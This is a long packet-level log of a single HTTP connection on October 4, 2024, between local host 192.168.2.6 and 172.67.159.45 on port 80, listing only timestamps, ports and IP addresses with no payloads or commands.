Oct 4, 2024 04:28:03.479175091 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.479183912 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.479195118 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.479199886 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.479199886 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.479206085 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.479247093 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.479247093 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.479247093 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.479422092 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.479433060 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.479443073 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.479501009 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.479501009 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.479562998 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.479573965 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.479583979 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.479593039 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.479603052 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.479613066 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.479614973 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.479623079 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.479635000 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.479679108 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.479679108 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.479866982 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.479882956 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.479912043 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.479919910 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.479923010 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.479933023 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.479942083 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.479953051 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.479963064 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.479969025 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.479973078 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.480022907 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.480022907 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.480302095 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.480314016 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.480324030 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.480334044 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.480345011 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.480386019 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.480386019 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.480429888 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.480438948 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.480477095 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.480581999 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.480592012 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.480600119 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.480611086 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.480622053 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.480632067 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.480635881 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.480635881 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.480642080 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.480652094 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.480663061 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.480671883 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.480686903 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.480839014 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.480843067 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.480854034 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.480864048 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.480918884 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.481005907 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.481015921 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.481025934 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.481035948 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.481045961 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.481089115 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.481089115 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.481530905 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.481585979 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.481595039 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.481611967 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.481626034 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.481643915 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.481643915 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.481643915 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.481654882 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.481688023 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.481688023 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.481740952 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.481751919 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.481787920 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.560965061 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.561038971 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.561043978 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.561052084 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.561062098 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.561072111 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.561080933 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.561090946 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.561122894 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.561122894 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.561129093 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.561155081 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.561173916 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.561182976 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.561192989 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.561207056 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.561216116 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.561233997 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.561273098 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.561286926 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.561296940 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.561317921 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.561321974 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.561371088 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.561371088 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.569406986 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.569417000 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.569426060 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.569483995 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.569485903 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.569485903 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.569494963 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.569504976 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.569561958 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.569566011 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.569572926 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.569566011 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.569616079 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.569807053 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.569900036 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.569910049 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.569919109 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.569961071 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.569972038 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.569993019 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.570003033 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.570013046 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.570023060 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.570041895 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.570051908 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.570063114 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.570063114 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.570106030 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.570106030 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.570132971 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.570142984 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.570152044 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.570180893 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.570266008 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.570276976 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.570286036 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.570297003 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.570307016 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.570310116 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.570310116 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.570348978 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.570348978 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.570435047 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.570446014 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.570453882 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.570483923 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.570483923 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.570538044 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.570564985 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.570575953 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.570580959 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.570594072 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.570604086 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.570652008 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.570652008 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.570688009 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.570698977 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.570734024 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.570755959 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.570766926 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.570794106 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.570804119 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.570816040 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.570856094 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.570863008 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.570873976 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.570909977 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.570920944 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.570930958 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.570977926 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.570988894 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.571006060 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.571022034 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.571032047 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.571043015 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.571052074 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.571098089 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.571104050 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.571160078 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.571160078 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.571171045 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.571181059 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.571233034 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.571233034 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.571242094 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.571270943 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.571280956 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.571321011 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.571321011 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.571347952 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.571357965 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.571404934 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.571415901 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.571427107 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.571438074 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.571464062 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.571464062 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.571472883 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.571485043 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.571491003 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.571536064 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.571608067 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.571672916 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.571688890 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.571700096 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.571710110 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.571744919 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.571753979 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.571763992 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.571806908 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.571806908 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.571832895 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.571846008 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.571856022 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.571866035 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.571907997 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.571907997 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.571965933 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.571976900 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.571986914 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.571996927 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.572006941 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.572025061 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.572046995 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.572093964 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.572103977 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.572113037 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.572124004 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.572134018 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.572164059 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.572164059 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.572175026 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.572206974 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.572220087 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.572472095 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.572535992 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.572540998 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.572550058 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.572592974 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.572603941 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.572640896 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.572640896 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.572669983 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.572679996 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.572685957 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.572695017 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.572736025 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.572736025 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.572762966 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.572773933 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.572783947 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.572825909 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.572849035 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.572850943 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.572861910 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.572871923 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.572894096 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.572926044 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.572926044 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.572945118 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.574023962 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.574069023 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.574079037 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.574120998 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.574120998 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.574134111 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.574143887 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.574153900 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.574163914 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.574198961 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.574203014 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.574203014 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.574244976 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.653465033 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.653486013 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.653496027 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.653542995 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.653553963 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.653558016 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.653558016 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.653594971 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.653606892 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.653654099 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.653665066 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.653706074 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.653717041 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.653722048 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.653728008 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.653738022 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.653770924 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.653770924 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.653822899 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.653834105 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.653844118 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.653853893 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.653865099 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.653884888 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.653884888 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.653898001 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.661838055 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.661849022 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.661861897 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.661873102 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.661881924 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.661900997 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.661942959 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.661953926 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.661962986 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.661971092 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.661988974 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.661988974 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.662025928 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.662221909 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.662271023 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.662281036 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.662296057 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.662348032 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:03.662372112 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.662383080 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.662390947 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:03.662400961 CEST	80	49740	172.67.159.45	192.168.2.6
